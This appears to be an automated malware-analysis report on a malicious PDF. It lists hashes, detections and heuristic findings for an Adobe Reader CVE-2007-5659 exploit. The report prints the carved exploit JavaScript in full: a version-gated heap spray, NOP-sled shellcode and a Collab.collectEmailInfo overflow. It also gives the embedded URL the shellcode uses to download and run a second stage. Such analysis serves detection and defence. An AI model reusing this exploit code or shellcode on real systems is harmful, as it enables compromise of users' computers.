PDF malware analysis — malicious · 144f6c35c4ec42ac

MALICIOUS

PDF

8.2 KB First seen: 2012-07-12

MD5: 322dd62b15402f156095e3305c310d01 SHA-1: 0e8e0a74b546c111ff977bbd48f04e35fcdc25c2 SHA-256: 144f6c35c4ec42acfd2328bed5328ef68ec4402c8084d2d75a1389801e6dda6f

366 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript T1105 Ingress Tool Transfer

The PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script decodes a URL from the annotation subject and uses it to download a second-stage payload. The embedded URL http://ueoovslfd.in/cgi-bin/gjj/z002106203r0809Ra7784a16Xbc596ff9Y4654775dZ0100f060 is indicative of a downloader functionality.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 10

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
JavaScript action low 5 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE

PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.

Matched line in script

var YB___yqp0u__d = new Array();var nkoVx84wL_e = 0;var J0hVp_b = "";function NdW815YiC0_H_Q(myMja7RD___2g12, j5___J_I_PYspU7){var fIyWkr5n_b_Ebky = j5___J_I_PYspU7.toString();var EUxT6_63_5v3g = "";for(var O___dJ__g0TW = 0; O___dJ__g0TW < fIyWkr5n_b_Ebky.length; O___dJ__g0TW++) {var b4frxlMcFW3cp6 = parseInt(fIyWkr5n_b_Ebky.substr(O___dJ__g0TW, 1));if (!isNaN(b4frxlMcFW3cp6)) {b4frxlMcFW3cp6 = b4frxlMcFW3cp6.toString(16);if (b4frxlMcFW3cp6.length == 1) { b4frxlMcFW3cp6 = "0" + b4frxlMcFW3cp6; } …

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
 var arr = sum.split(/-/);
 var proc = String.fromCharCode(22+15);
```
Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER

PDF JavaScript shows 5 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, hex_dashed_payload, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
Matched line in script
```
 pr = app.doc.getAnnots(
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ClamAV: Pdf.Exploit.Agent-35916 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-35916
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://ueoovslfd.in/cgi-bin/gjj/z002106203r0809Ra7784a16Xbc596ff9Y4654775dZ0100f060 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0005_000.js`	pdf-javascript-stream	PDF /JS object 5 at offset 0x148	505 bytes
SHA-256: `6c41320119e160dc719997b9a2efb3600ea9d7e9d7e44b4dc2125762dc9f365f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var pr = null; var fnc = 'ev'; var sum = ''; app.doc.syncAnnotScan(); if (app.plugIns.length != 0) { var num = 1; pr = app.doc.getAnnots( { nPage: 0 } ); sum = pr[num].subject; } var buf = ""; if (app.plugIns.length > 3) { fnc += 'a'; var arr = sum.split(/-/); var proc = String.fromCharCode(22+15); for (var i = 1; i < arr.length; i++) { buf += String.fromCharCode("0x"+arr[i]); } } if (app.plugIns.length >= 2) { fnc += 'l'; app[fnc](buf); }
`legacy_pdfkit_stage_000.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x1BB6	1678 bytes
SHA-256: `c9dd38e292d2d1686904fdd87dae53853556cc6f12081ed257ce8cea35e34e19`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function Q___65_Ncw(J7_r52vt, c_d7Nl0P){var O0t5CmAy = 4;var L___jc_0tQ5 = new Array();var H_0n3Pf_Sn = new Array(107,256,11, 512, 106, 11, 44,40, 33);H_0n3Pf_Sn[5] += 12;var nMU_3HtRxoD = "";try {var G1NT_tWW = 0;if (app) {c_d7Nl0P = pr[G1NT_tWW].subject;}} catch(e) {}if (!J7_r52vt) { L___jc_0tQ5[0] = 0;L___jc_0tQ5[1] = L___jc_0tQ5[0];L___jc_0tQ5[2] = L___jc_0tQ5[1];L___jc_0tQ5[3] = L___jc_0tQ5[2];var Pi_tw50_bS_6__1 = H_0n3Pf_Sn[6] + 3;var P_EUUOSd_63AMw = Pi_tw50_bS_6__1 + 11;var h_xJt_Y = Q___65_Ncw;var p44_2J1g = 0;h_xJt_Y = h_xJt_Y.toString();for(var YsA72MKmwo_pE3 = 0; YsA72MKmwo_pE3 < h_xJt_Y.length; YsA72MKmwo_pE3++) {var qP4_wFG_Ov = h_xJt_Y.charCodeAt(YsA72MKmwo_pE3);if (qP4_wFG_Ov > Pi_tw50_bS_6__1 && qP4_wFG_Ov < P_EUUOSd_63AMw) {if (p44_2J1g == 4) {p44_2J1g = 0;}L___jc_0tQ5[p44_2J1g] += qP4_wFG_Ov;if (L___jc_0tQ5[p44_2J1g] > H_0n3Pf_Sn[3]) {L___jc_0tQ5[p44_2J1g] -= 512;}p44_2J1g++;}}}else { L___jc_0tQ5 = J7_r52vt;}for (var QL_QR41 = 0; QL_QR41 < 4; QL_QR41++) {if (L___jc_0tQ5[QL_QR41] > H_0n3Pf_Sn[1]) {L___jc_0tQ5[QL_QR41] -= H_0n3Pf_Sn[1];}}var aO_3_x_L3OLp2s = 0;var o_v_02p = 0;var G_T0KNuY;var gY_6y6_0Is_y = 0;while ( aO_3_x_L3OLp2s < c_d7Nl0P.length ) {var XJ_xP8_6 = "";XJ_xP8_6 = c_d7Nl0P.substr(aO_3_x_L3OLp2s, 2);var CuW0sPmg43R = parseInt(XJ_xP8_6, H_0n3Pf_Sn[5]); if (o_v_02p == 4) {o_v_02p = 0;}CuW0sPmg43R -= (gY_6y6_0Is_y + 2) * L___jc_0tQ5[o_v_02p];if (CuW0sPmg43R < 0) {CuW0sPmg43R -= Math.floor(CuW0sPmg43R / H_0n3Pf_Sn[1]) * H_0n3Pf_Sn[1];}nMU_3HtRxoD += String.fromCharCode(CuW0sPmg43R);{aO_3_x_L3OLp2s += 2;gY_6y6_0Is_y++;o_v_02p++;}}var G_dauo_2 = this;G_dauo_2["eval"](nMU_3HtRxoD);return 0;} Q___65_Ncw(0);
`legacy_pdfkit_stage_001.js`	deobfuscated-js	annotation-subject callee-key decoded JavaScript at offset 0x355	5124 bytes
SHA-256: `214d3d0200555601a70922c043499d93fc9972d99a528f662df7b981d06b7e0e`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var YB___yqp0u__d = new Array();var nkoVx84wL_e = 0;var J0hVp_b = "";function NdW815YiC0_H_Q(myMja7RD___2g12, j5___J_I_PYspU7){var fIyWkr5n_b_Ebky = j5___J_I_PYspU7.toString();var EUxT6_63_5v3g = "";for(var O___dJ__g0TW = 0; O___dJ__g0TW < fIyWkr5n_b_Ebky.length; O___dJ__g0TW++) {var b4frxlMcFW3cp6 = parseInt(fIyWkr5n_b_Ebky.substr(O___dJ__g0TW, 1));if (!isNaN(b4frxlMcFW3cp6)) {b4frxlMcFW3cp6 = b4frxlMcFW3cp6.toString(16);if (b4frxlMcFW3cp6.length == 1) { b4frxlMcFW3cp6 = "0" + b4frxlMcFW3cp6; }else if (b4frxlMcFW3cp6.length != 2) { b4frxlMcFW3cp6 = "00"; }EUxT6_63_5v3g = b4frxlMcFW3cp6 + EUxT6_63_5v3g;}}while(EUxT6_63_5v3g.length < 8) { EUxT6_63_5v3g = "0" + EUxT6_63_5v3g; }var f_uw_2W = myMja7RD___2g12.toString(16);if (f_uw_2W.length == 1) { f_uw_2W = "0" + f_uw_2W; }else if (f_uw_2W.length != 2) { f_uw_2W = "00"; }EUxT6_63_5v3g = "3" + f_uw_2W + "P" + EUxT6_63_5v3g;return EUxT6_63_5v3g;}function SmN8_Ki2(ph1R3_Ev4T, Y18T_x4LRV62ak){var EnCx__ar = new Array("");var x51_M_B_08Lt = ph1R3_Ev4T;var fnDRHR_1XsCB6_c;if ((fnDRHR_1XsCB6_c = ph1R3_Ev4T.lastIndexOf("%u00")) != -1) {if (fnDRHR_1XsCB6_c + 6 == ph1R3_Ev4T.length) {EnCx__ar[0] = ph1R3_Ev4T.substr(fnDRHR_1XsCB6_c + 4, 2);x51_M_B_08Lt = ph1R3_Ev4T.substring(0, fnDRHR_1XsCB6_c);}}fnDRHR_1XsCB6_c = 1;for (O___dJ__g0TW = 0; O___dJ__g0TW < Y18T_x4LRV62ak.length; O___dJ__g0TW++) {var I_24_27_Tc_Y = Y18T_x4LRV62ak.charCodeAt(O___dJ__g0TW).toString(16);if (I_24_27_Tc_Y.length == 1) { I_24_27_Tc_Y = "0" + I_24_27_Tc_Y; }EnCx__ar[fnDRHR_1XsCB6_c] = I_24_27_Tc_Y;fnDRHR_1XsCB6_c++;}O___dJ__g0TW = EnCx__ar[0].length ? 0 : 1;EnCx__ar[fnDRHR_1XsCB6_c] = "00";EnCx__ar[fnDRHR_1XsCB6_c + 1] = "00";fnDRHR_1XsCB6_c += 2;if ((EnCx__ar.length - O___dJ__g0TW) % 2) {EnCx__ar[fnDRHR_1XsCB6_c] = "00";}while(O___dJ__g0TW < EnCx__ar.length) {x51_M_B_08Lt += "%u" + EnCx__ar[O___dJ__g0TW + 1] + EnCx__ar[O___dJ__g0TW];O___dJ__g0TW += 2;}x51_M_B_08Lt += "%u0000";return x51_M_B_08Lt;}function iwF_6S0_e(a_bNmI, e_u28v){while (a_bNmI.length2<e_u28v) {a_bNmI += a_bNmI;}a_bNmI = a_bNmI.substring(0,e_u28v/2);return a_bNmI;}function m__TN6UF6e(j_V61_b6_n_1qiB, GM_6t__8__7_3, e2__dX8_p___t5){var rg3_H1_y = 0x0c0c0c0c;var a_bNmI = unescape(GM_6t__8__7_3);var Y18T_x4LRV62ak = NdW815YiC0_H_Q(j_V61_b6_n_1qiB, e2__dX8_p___t5);var bEug_AfvD5_i = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var ph1R3_Ev4T = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%ueb00%ue900%u00fc%u0000%u645f%u30a1%u0000%u7800%u8b0c%u0c40%u708b%uad1c%u688b%ueb08%u8b09%u3440%u408d%u8b7c%u3c68%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u782e%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%uffe8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4970%u5078%u694b%u6170%u5473%u6b65%u7879%u6d78%u0046%u7468%u7074%u2f3a%u752f%u6f65%u766f%u6c73%u6466%u692e%u2f6e%u6763%u2d69%u6962%u2f6e%u6a67%u2f6a%u307a%u3230%u3031%u3236%u3330%u3072%u3038%u5239%u3761%u3837%u6134%u3631%u6258%u3563%u3639%u6666%u5939%u3634%u3435%u3737%u6435%u305a%u3031%u6630%u3630%u0030";app.mRSIt_2_y = unescape(SmN8_Ki2(ph1R3_Ev4T, Y18T_x4LRV62ak));var v_2b4__10_D = 0x400000;var O2_134_mFyf = bEug_AfvD5_i.length 2;var e_u28v = v_2b4__10_D - (O2_134_mFyf+0x38);a_bNmI = iwF_6S0_e(a_bNmI, e_u28v);var A6_7DTGEa = (rg3_H1_y - 0x400000)/v_2b4__10_D;for (var rBDnI_O = 0; rBDnI_O < A6_7DTGEa; rBDnI_O++) {YB___yqp0u__d[rBDnI_O] = a_bNmI + bEug_AfvD5_i;}}function syv7wt3_hQ(){var S_E2un_683_b = "";for (O___dJ__g0TW = 0; O___dJ__g0TW < 12; O___dJ__g0TW++) {S_E2un_683_b += unescape("%u0c0c%u0c0c");}var p8Vu1r = "";for (O___dJ__g0TW = 0; O___dJ__g0TW < 750; O___dJ__g0TW++) {p8Vu1r += S_E2un_683_b;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: p8Vu1r});app.clearTimeOut(nkoVx84wL_e);}function G2B2__5P88Lg(tQ36_q){var Jk0HV76 = nkoVx84wL_e;if ((tQ36_q >= 8 && tQ36_q < 8.11) \|\| tQ36_q < 7.1) {m__TN6UF6e(23, "%u0c0c%u0c0c", tQ36_q);syv7wt3_hQ();}if (Jk0HV76) {app.clearTimeOut(Jk0HV76);}}var e2__dX8_p___t5 = 0;var L07_F6RT_4m = app.plugIns;for (var tI0jv_R_Vrr_Pm = 0; tI0jv_R_Vrr_Pm < L07_F6RT_4m.length; tI0jv_R_Vrr_Pm++) {var Jy__e_pL0 = L07_F6RT_4m[tI0jv_R_Vrr_Pm].version;if (Jy__e_pL0 > e2__dX8_p___t5) { e2__dX8_p___t5 = Jy__e_pL0; }}if (app.viewerVersion == 9.103 && e2__dX8_p___t5 < 9.13) {e2__dX8_p___t5 = 9.13;}app.YlK30xPh8Uw = G2B2__5P88Lg;nkoVx84wL_e = app.setTimeOut("app.YlK30xPh8Uw(" + e2__dX8_p___t5.toString() + ")", 50);
`deobfuscated.js`	deobfuscated-js	PDF JavaScript deobfuscation pass	25156 bytes
SHA-256: `d7ecd9a9c0db6f008653b54c1bac2581b80d73c34cdf6e44fbc717ded5ec63a6`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var pr = null; var fnc = 'ev'; var sum = ''; app.doc.syncAnnotScan(); if (app.plugIns.length != 0) { var num = 1; pr = app.doc.getAnnots( { nPage: 0 } ); sum = pr[num].subject; } var buf = ""; if (app.plugIns.length > 3) { fnc += 'a'; var arr = sum.split(/-/); var proc = String.fromCharCode(22+15); for (var i = 1; i < arr.length; i++) { buf += String.fromCharCode("0x"+arr[i]); } } if (app.plugIns.length >= 2) { fnc += 'l'; app.eval(buf); } 1f06643h4d8b6d6390978d6c007d905a6a278h28b13h1820232h284b8h92092b1fa04i0m5b8k5k2ma2524c4115557kb14h0l6i0h0624aka82c9e0c1588a21b9fa75ib19936764h1594675a0l2g125b025k0d5a8ja3137a863a969k985597128j1375ad8g3f5d298l71481e6eamaj5769650k616ma99b766k349h956h5k4mal7j0h6d846i3k570f6f9j0i2k5i2411275d6h0e1l3e7f9c414h3a7b64496f5l7f3i1c52921m2g3g072j9l21163f2989aj12759742ag96755d1b1f623laj7e2g7lab10056f97249k7i0k9g0f841523a591a7657j1kak9b6632af19453m7563093b81910k6h964j05718l909l73821g568k5b6c5b1e7cal5gb0843a3a2l617h26564g150a606j5ha3503987847i5i265g905a6d309h4h831592204f2l1e554k0b0k481bb04c2l50764j1a947c4e060d2b882h714c9218b1307f262b1fal238a8620160i8c1a1158821f1a9m5c5k132k1a5cb065267f9ha90g90862m9l7f755e688h81127a9d6k236036849236158g042h5f976i02656ia18c7a861f6c634a8j7a7j731b6j085g50320f4594380a310d9a3d3d6c075h5f9e954i491c7f7j2e5b6j903c1d549m4854098h1d6fai1637aa89240i6ca1482k9e7j391e1c666aam5b52741l103k8c9738b16e9g6f850f8e247c0m0g778912aj975l14ab442l1d8b4k0b3b6m91aa40992m078ia09d8i987b1g62ad8m4a4k8k94af5a2d7i0g3h354a551k26731b165l5g508f6545948l603f2e6k9f5i735a7b298l0h9b290g339l4c5h0f3d531593432e4b6a584275414l06ac345d004f0la3149m349d043a9k981e5ib2ad1e9171am112m764e1f9d4e54a61g1l690e4aaf547l96069h9j1fa682817e6k0m7g105d2bad5k5m2j9b961e2b83331m31854aa26161068c7e594093937c8c7g6m5791418d3h611ab05ga2230a5i06a63a3e758g50288l67352g0i4h4j1f6b5b993da0487h1i4j0m0e1a98ai954731ak2kb16c954538a95g43a81m38672h6j5070af021i830l4jad9g9g718j080l1ca71b076k84ae8f8e3l1cah3h1m1la67e426d9e9j154e9j520f879j996j7g72aa60815b7a3g0i7k055l1g5d320d1a4a4maj1b429c8d5f6b5iai6d448f6e517227749k5g3b5bac28803i075g4b1lag415b0l304g10aj480m236k2a196f417e0628558d3g651g8bag8lab79b119909ga08l8m0l28046h2da62l6m1m1d725h269kaa1447883b004gama91f9ga71b9l737g4k61aa6m914k9d83496f1l7390251g8d053a2l8d4f1g678i05037l4i278a9d6g5j777l4l0f3l0i4d542e276a9m36296g2b1h422g5g023l39a984672i11857b297140872l1f2b911b222c8h1f8c151l1315a51f0k46973ib20b8f4d2i0g4m68098g4c6l181b056f975b1fa98m7g0f0607347093883k662kah023c448b1a4g3c9m68333b7lam2b407i220h886l8a7f947a31639l6f756c1753ag5c0c6m2a2h2l54772e2l5da0045c4l56a13j3h6e8b8a4e1b5e8a5a454hb23k931g074l0g0a9l53809b24230f8i4m1j48655h3a9k7g5a3f265b8g1m6c1664al050180aa12978ca16378a7a99a5i3i185345190k9f454aa81b3j45ag7211648ka90k5l810g8b738b635m0ga09i6da9963g6d0c8a6k4d3k952938555k3b224l8c9409767c3c9g87537c4d854219638l5l2l44b0737323026f3014476871854m5h958b4k443a5b6i56694f6c410j1e760m2m0d80196fai1l1401ai162f4m95150e9d8d1h0b0g6j62ah712e6l031f127f9l5g289b1a9l0fb00k29709h8i3b832c9b9j562ca71a49548h68185c9i9a0081ad530f6i888090946d1h8k946m4a6a0f538l23aj5m3h403h4a5511436j0f094a6b4ja24c5f8f5a67310051664h6551a5579b3b0752191a141f628h2b21a29a3m4i2m7c4e2m754j6b3cb15i7k376d4d950h7f19a11m3a0ha81e7eaaaa0i0766079g22844i0f9j2f4105021m65914b266maja90a5l8j0ga07k86738g117ham6d0i7b2k5f2l6i94493g990j33518b4l1i3f74a9aa767h2c8k8b7c5d6j984b9f6f0b5m5h501a6i98050540ajae3k5h3b853g528a745k2i1g7b6e4d7e5f644e0l509k4e5501961k66a89e063681122f467836088f7f40233a5j2m034k1k4k9h910g59b24jad7b0d7195adak2599099a3b930h04947832a73c5c43a6861m4m8e021d4h8m5g9l6g73909h925j0d569a85464d0b5l8f4k157g3a31187b860d3d5j020438645g8c574890885c3c0b7l875a6551aa44a93b0f2g2m1d9l2l4ka8392j1h9l3m3i5f8433366k786f3f296380b14j0l6iag8iab81092714a12g7ea21a220b8j35ak465m350d70525ka30i21650163af5m7l7h9i6e7f1k93ac8h8g8gb29g1b6m1b9l3f5019889020379a0j14318569963i5389a84c610g656a534m5ha07bae549l5l4j240g707i180a5i259a143m3b8f325cag673b2827835k5b7e5l894k9f4l9i48543g000e6j9e033021ai261h65953e069l7723a80l383ha94k5h5i1lad41830l4l25940k9f9ia0a81b999iag726e0e8ka96a307d1m1m1f7l5d0b3mal1g1m749j528h768l909d997f2180ah645h628k687f3h28674c372l768aah4g72170c666k2b707i7574647i50215890394c45002883208g220l2ka01f588h1e4gadb03m3g4l94502f906i693513557e3044348bag83ab811k0g998c0b868k2a160f8e390h436m3i0d954b5005291i5haf630g6hafa90g8k993aa6a57l73888878a749a87g636f0d6l90353e772109337973963i697f7i4h8b196j6a534m5hac721d6g0e732256a743901j254c21a31h4e73915m59059g615f3k847h1f816m7541a03j7b3g5209aj38930b1a21am81272f74761d37818k5c283k6f5ma0554e6l19b13d749l591fa00l9l0586990c9f0f0j46632k877f7b34a73d3m4l904k0k416k0h1d6k8c5aa469a5929d977j2f717f6h3b6c0b809f5b0h59474631818c2d4d7b108l3746529h7c4477945g3jaj519j5g7360b15h7f3d074k2g2c0d2j8l0f3g4g0jaj49495b5e5i3890675f151e435j2l3j438j1l8e02a1221f0c0i1e5eak1i009d5i1c034j544g0d903g5005073j478i3b2c5bafa90l888e3ab09k9m7e9e96761k8316a222692h7090301e8d34aj385b441m408188ae557g19916l847g836m6l0f5ka4723k1aaf399m362b6f2513445g3j9d3k528e9m5k4h1h7b722f7e405m2b1f4aa80m4d0i912k9027a2241ba9060g679h0c0j7f6l4g1e1h423k1881374k16ai2m7c9f57198m9l70amag9d21a10f9070860e8a7f6c13a73a4l40867e3k5c9e0f2b4l6l3610819h669g819c2980928c75569i7kaj23054i493m34817i1j4k72998f2j7a347g4l426b93633h094d6b694d308d317k4a9b2h3g21a3587h9i0l2996ak271f30672f47784h4d0maf645j2h491f67368b04a8260l1b9bak7ja59m259j6e0ka9277l1h9h755b2b14083m49983g357h8hag0j63031g8a9ma6529f069l9h599ia5313i2f746b4m3i8g080a2794441468847k067c7f1d6m5m837k5e9m71966g026i51469e72972l2c62af20195e4aag23618g9441320l8a514d5d415i500i2f9f1g273h8g1b77aa9a3m0090000m3ga41d098d5m1m2l1a415kak525b50ab9m0l5e1k50ae9c9f688e901523a5910e6e5j178ha953428a2m1m2j754m0e6b7m9hak4g6h5i9b5l726m71a36l0064885g744i9d618825a2560g0f09835maj2b4i96133g4a347g41727863633haf7d78394d307g618h1a9i2g0l2kae287k9i05509h7k1l1f27975a3b6m4h3k3m273d5d0e3g4e6i06ag267c2l199e95ag52b1agac9m8j011k2l4l3k9g6b682m97001i3g0j4b0d598e7k1f6maa19aa78al5d8k957d9682ad75335gb09k92451e8haf39316c4c103c8jafad555j0l9j6i775d5f747i9k3k914a2753a642772jaj6h08141g5e3g0a2h568e78385g3h5h594c526k6624a04a704f52128l1g6b249l0m08b2af3e447415067k8e4i073g43342d5j4j53ag963l62a0311f6j1c75968c97afa8a1914b60ab0b8e6b17ab0l5f4ea65i1630ada21g4h7b270m8575967k6f9c005m8f6d3g799d5j882ja78b3f1d1577522g2a4i9l9d2j7a2i7g4f6a6b93825k074i6b69493788387k4a9h2g1d04a3585d9a0j4896ak463i326c2f4796724g33af645g0h493m67368g02a5070l1b95ak7ka69m259h6b0ca1277l220g6m382b14051j6a013g355e8h8d9k630319898286529f917d9h539ia5535k086k6b4m1d8h050f279449a8457m7k065a5d1e6k5m835d58806m966g914d30269e72722h0c3haf201g3e448d23618g71644j0l8a794d5k615i50a02c7d3m273h8m1c76af9a3m008k070j3ga43c2a8g5h1m2l1h4a3fb1525b72af9h115e1k2iaf7b9i6b0i8i9c029f960j4a60038m7k7515893e2l1ial5d123b7l962c519830035a9k6m7g986daf8m8g6c4749928j882jam5g0l4632535gam1e7i9m963c4a27ag4h497466566h286l74393g6085318d1g8l5g3h05am2b521710259h7k1a4f318a331d6b7h4d120035523e491k932e7k318521199i8h2d5l84afah969b0ca45050161c77383398af4i448m47284l0bac9m6l8b0l0281847l908dad9m53a67d276c0g917425129c032e32693g1j47608gad4h8b1g746c7a5286a0509h3j897a3347a7486b3d063h07a90l696c8i2e347ka061321c5d4d585h3l6a2996577b1i4l30854772aa1014af0e002m6a980h36895e4e250l715lam5g4e49259h1669a427289c0g948m8114007b9h023g8i008eae680d033h2g4da252423c9l9k1g45a5529965726bac7b8g05867k94464d9i837k5j1l7h191909835l1k285196133b6e2i9l4172748a625laf7d6m3c45557g618g3e0c4m0l2kam4c5d9e05500j821l1i2797383e926l3k3m25375i103g4e932eaf097c2l3h0j0a1k52b1ai1c0m8j011k2i751l0j6b68389f27403g0j4c287hal7k1f6lad19ac78al7k6h047l9682a978323fb09k77423i8faf392l6a49103c8j8aah567e0l9j6e5c5k56747i9m3g944i2753a84b732haj6h06a41g393g0a2j358f73385g1f7e572d526k6d28a12g704f3130901f6b249l0m0490af3e4b781b0e7k8e2hb11g45342d5f4j5018963l69a52k1g6j1c75038i9cafa8a1954a83ab0b8e6a18890l5f2c825j1830ada0b14i9c270m6095759j6f9c06668e673g799f828e35a78b1f1f1355522g2473a00a2j7a319j4i496b935j62066g6b6947308b547k4a9c2i1cb0a3585g9a0j2196ak211h2l6d2f47724k4b0maf645g0e4b1g67368b0183060l1b9aai5g8a9m259k6i0ia1277l1ka0723f2b14061j47933g355c8k8b9j63031f878186529f947ia0559ia52l3i0b766b4m1j6i060f279449a843657k06585h1c705m835g5a7i50966g904h2l2a9e72750h073maf201c3949ag23618b703m2h0l8a572e5g3k5i509k2d7e1f273h8g1772a7971a23092i0c6j8f2h18047f2c1m4d3845a08d5474230j318k142a0k9mam77am9g0f027019064576b2af9676159j151m417m5l2f5cag9l0h648k3194819a6f757e9d238j7f95654b0e60a94kaj5b3a23045g4kaj554m9h96374a2i847d659j5a723j214e723d655f9365ag0h9m203d0i2b4h7ea43151ae823m432g8l5a40987g6i06ak2b5f12753h9fagaf22b0001h1c8c034kb218aa0i6f2d0l2j4l3iac6635268m181k659047097a03971j8m8119057m865673019e0i691i872242ai98a12l3e6i1c094j8b3j0m61809fb167570g938b835f5eag4ba56hb077222ka863761a1h4h0l130g3m3b855b5a8b914k2h3a8e48254k3k99249h277b1f2i0a8f4890a90m1321ai010e65811g2eb28b1hag4a646ca08a365h1laj2m7a97389i77a3660f97a42g8a0fa73b67a6988e6618932m3f34a161096888ae255i96438k5g6d66ai8l772180a99870749d8ja94k1l7846211h7j6f1h3a6h919j2e6d4j9k5j6h815a5c31245b9m5i653hac62951f07541k352j4g8d102l4m12ae4e0m5g9b641ea17g4b302a4e55077a4f8l337f1da10j1b1b0i1e5j89ad160i5i12972447250k9g65268m183j65b06a187aafah9i849m0g8i737l615ma99e0f7319884j5d2h6k8c3f0k71aa0a2k6f3b04617ka9af687c3a956a6g76517a4b916ma96b3g251m6i900j0c3k21140g344h7k5e5haf9l614j447h4g1h526k66459h4c704f2i2m8g3c68a0a94731ak2kb16m7c2k36898b1h0b0g3a31017l557h9f9926830l4j1e8a0d90048cak1g6fa7864466a69ma96632ac2c4g47a75d2f546ka69m507a2i9d5585909d948i1380a98d445m035e832ca28h441e2c835e2d194da78d4j6b3g7i7c6i9069623k216h7a6h735aaf5m863f105740201f3k8c113d47918a152b5c8l5h3a934f6d3g2e5i7k2j732c9a29aj2f922e3h158k2j8bb11b1ha45ib1992e45491a983i260m083a7490713d5292ab1a99843eaja3a18a8509a50l6a23a42a652l9e8e521l6g321e4j8b3kaa788405b27a8a3k9d934a6d588a4k0f5h925j332b046b6e3c1e3k061145327a0b4h5l7f83692g2a72582e4k4a5d4g1451934i330l0f2c901ba93a2881ai06738e180ca98a1h0c1m3840a0532144240111680l5e9i7j8m778j8d98aj6f1l133b8h168h8e663k7d1l1m2d7j5e0i2iaj161d6h8i42987c7j759j6i6e035i7f5d3g799d818851a78b193b0k784maf197h01993d6b5e795070a394616j2m4g905j5e2f7k3c0d3l0e20111021286eb210269a74543i5d92313c9d716b3j1d5f852l5c4e9hb19b2e800m319l9ba961062f260h98am142k6m3i0i8g3g500m213j650i49af5m7l88a69fa9467c917l5k8ga07j026f14795a2j0l64924h486a2i305i8d561c6l67ag00824i119k8d804k858h4i136hal5l4j3i1j6m901m2j310d9a193k3b093g31aka15k